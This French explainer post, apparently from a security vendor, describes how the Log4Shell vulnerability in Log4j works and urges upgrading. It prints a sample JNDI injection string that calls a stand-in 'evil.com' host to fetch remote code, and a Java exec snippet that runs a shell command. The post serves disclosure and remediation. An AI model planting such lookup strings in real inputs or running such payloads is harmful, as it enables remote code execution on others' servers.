Log4Shell en bref (pour les non-développeurs et les développeurs qui ne travaillent pas avec Java)

Écrit par

15 décembre 2021

0 minutes de lecture

Note de la rédaction (28 déc. 2021 à 19 h 35 GMT) : L’équipe Log4j a publié une nouvelle mise à jour de sécurité et découvert que la version 2.17.0 était vulnérable à l’exécution de code à distance, identifiée sous le nom CVE-2021-44832. Nous vous recommandons de passer à la dernière version, qui est actuellement la 2.17.1.

Note de la rédaction (18 déc. 2021 à 18 h 55 GMT) : La situation autour de Log4j évolue rapidement et nous mettons à jour nos articles à mesure que de nouvelles informations sont disponibles. Nous vous recommandons de passer à la version 2.17.1 ou ultérieure. Cette version inclut des correctifs de sécurité pour deux vulnérabilités d’exécution de code à distance, corrigées dans 2.15.0 (CVE-2021-44228) et 2.16.0 (CVE-2021-45046), ainsi que pour la dernière vulnérabilité de déni de service, corrigée dans la version 2.17.1 (CVE-2021-45105). Pour en savoir plus, cliquez ici.

Si vous travaillez dans la tech, vous avez probablement entendu parler de l’exploit Log4Shell qui fait la une sur Internet. Si vous n’êtes pas développeur Java (ou développeur tout court), vous vous demandez peut-être ce qui se passe exactement.

Cet article se compose de deux parties : une explication de Log4Shell pour les non-développeurs et une présentation de la vulnérabilité Log4Shell destinée aux développeurs qui ne travaillent pas avec Java.

Présentation de Log4Shell pour les non-développeurs

Vous savez que lorsque vous consultez un site Web dans votre navigateur, vous voyez les images qui s’y trouvent. Mais vous ne savez peut-être pas que votre navigateur procède en deux étapes pour afficher une image. D’abord, il récupère la page HTML, par exemple : https://snyk.io. Cette page HTML contient des références à des images, par exemple :

1<img 
2    src="https://snyk.io/wp-content/themes/snyk_v2_etyhadar/dist/images/snyk-logo-patch-new.svg" 
3    alt="Snyk|Open Source Security Platform" 
4    class="home__logo"
5>

Le navigateur envoie ensuite une nouvelle requête pour récupérer l’image.

Quel est le rapport avec l’exploit Log4Shell ?

Log4j est une bibliothèque Java très utilisée pour écrire des informations dans des fichiers journaux. Il s’agit généralement d’informations sur le moment où certains événements se produisent ou de messages d’erreur signalant un problème.

Une autre technologie Java permet de référencer des URL distantes, un peu comme votre navigateur peut récupérer des images à partir d’URL. Log4j peut être manipulé pour récupérer une ressource depuis une URL distante. Sauf qu’il ne s’agit pas d’une image, mais d’un autre morceau de code Java compilé.

Ce code Java compilé peut faire toutes sortes de choses malveillantes, notamment exécuter d’autres programmes sur la machine ciblée. On parle alors d’une vulnérabilité d’exécution de code à distance (RCE), qui est le type de vulnérabilité le plus grave.

Poursuivez votre lecture si le fonctionnement de l’exploit Log4Shell vous intéresse. Vous pouvez aussi aller directement à la fin de l’article pour trouver des ressources qui vous aideront à détecter et à corriger Log4Shell.

Log4Shell en détail pour les développeurs

Examinons le mécanisme interne de Java qui rend cet exploit si dangereux. Nous allons entrer dans les détails, alors n’hésitez pas à passer directement à la section sur la façon d’aider votre organisation à gérer Log4Shell.

Les principes à la base de Log4Shell existent depuis au moins 2016 ! Voici un lien vers une présentation donnée lors d’une conférence Black Hat sur l’exécution de code à distance en Java. Le plus surprenant, c’est que deux des trois composants de Log4Shell y sont déjà mentionnés. Nous allons examiner ces composants et voir comment ils s’assemblent pour permettre à Log4Shell de fonctionner.

Les éléments qui composent Log4Shell

Je vous avais prévenu que nous allions entrer dans les détails dans cette section !

Une grande partie de ce qui fait la force de Java (et qui peut parfois dérouter les novices) repose sur des « couches d’abstraction ». Par exemple, un développeur peut écrire du code qui communique avec une base de données sans être lié au serveur de base de données d’un fournisseur particulier. Ainsi, pendant les tests locaux, j’utilise MySQL, mais une fois l’application déployée en production, mon entreprise utilise PostgreSQL. Je n’ai pas besoin de modifier une seule ligne de code grâce à la couche d’abstraction de la base de données.

Les « Pages Jaunes » de Java : JNDI

L’interface de nommage et d’annuaire Java (JNDI) est une couche d’abstraction qui permet au code Java d’interagir avec différents types d’annuaires. Par exemple, le système de noms de domaine (DNS) est un type d’annuaire qui permet de rechercher des noms de domaine. Le protocole LDAP (Lightweight Directory Access Protocol) est utilisé par les serveurs d’annuaire pour fournir des informations sur les organisations, les personnes et d’autres ressources, comme les appareils d’un réseau (c’est sur ce protocole que repose Microsoft Active Directory).

LDAP ne se limite pas au texte

En plus des informations textuelles, LDAP peut stocker des objets Java sérialisés.

Les objets Java sérialisés sont des représentations puissantes (et potentiellement dangereuses) du code Java. Pour faire simple, c’est comme du code gelé qui peut être stocké puis décongelé ultérieurement. Cette technique a de nombreuses utilisations légitimes, mais dans ce cas, elle fait partie du mécanisme qui permet à Log4Shell de fonctionner. Gardez cela en tête pour l’instant. Tout s’éclaircira bientôt.

Comment JNDI, LDAP et Log4J s’allient pour causer des problèmes

Jusqu’à récemment, Log4J autorisait les références JNDI, qu’il résolvait ensuite automatiquement pour le compte de l’application. Qu’il existe ou non une utilisation légitime de ce mécanisme, la dernière version de Log4J (2.16.0 au moment de la rédaction) a complètement supprimé cette fonctionnalité. Cela signifie qu’en mettant à jour Log4J vers la version 2.16.0, vous serez protégé contre l’exploit Log4Shell.

Comment tout cela fonctionne-t-il ensemble ? Imaginez un message de journal comme celui-ci :

1logger.error("Output:" + "${jndi:ldap://evil.com:9999/Evil}");

Ne vous inquiétez pas si ce code ne vous dit rien. Voici les éléments importants :

Les anciennes versions de Log4J prenaient la chaîne : ${jndi:ldap://evil.com:9999/Evil} et l’interprétaient comme une référence JNDI LDAP, en l’occurrence vers un serveur malveillant.
La pile JNDI de Java envoie une requête LDAP à evil.com et effectue une recherche sur /Evil
Le serveur LDAP d’Evil.com construit une réponse qui inclut une référence distante vers un objet Java sérialisé, par exemple : http://evil.com:8000/Evil.class
Cela déclenche une autre requête vers le serveur HTTP d’evil.com, comme lorsque votre navigateur récupère une image. Le fichier Evil.class est récupéré sous forme de charge utile binaire, puis converti en objet Java par le processus de désérialisation.
L’objet Java reconstitué est ensuite exécuté. C’est à ce moment-là que n’importe quel code peut être exécuté sur la machine à l’insu de son utilisateur.

Pour illustrer ce dernier point, examinons cet exemple de code :

1String[] cmd = {
2"/bin/sh",
3"-c",
4"echo PWNED > /tmp/pwned"
5};
6Runtime.getRuntime().exec(cmd);

Là encore, ne vous inquiétez pas si ce code ne vous est pas familier. L’élément important est que l’appel exec en Java exécute une commande _en dehors_ de Java. Dans cet exemple, il écrit dans un fichier situé dans un répertoire temporaire. Mais il pourrait s’agir d’une commande qui efface tout le disque dur, ou qui envoie un fichier sensible à un autre point de terminaison malveillant.

Comment conclure une explication sans un schéma mal dessiné ? Voici Log4Shell en bref :

Schéma expliquant Log4Shell : le logger Log4J vulnérable de MyApp envoie une requête JNDI LDAP à evil.com, puis récupère et désérialise Evil.class.

Même si vous ne comprenez pas tout à fait ce qui se passe ici, vous pouvez constater que ce message de journal d’apparence anodine déclenche une quantité considérable d’activité réseau !

Passez de novice à expert de Log4Shell

Pour sécuriser facilement vos systèmes, analysez-les avec Snyk. Snyk peut détecter Log4Shell et créer automatiquement des pull requests pour y remédier. Et si vous activez la surveillance, Snyk vous avertira également lorsque vos dépendances (et leurs propres dépendances) seront mises à jour et pourront être utilisées en toute sécurité. Créez votre compte Snyk gratuit dès aujourd’hui.

Nous avons également rassemblé d’excellentes ressources pour aider votre entreprise à faire face à l’exploit Log4Shell.

Vous souhaitez en savoir plus sur Log4Shell ? Consultez ces ressources :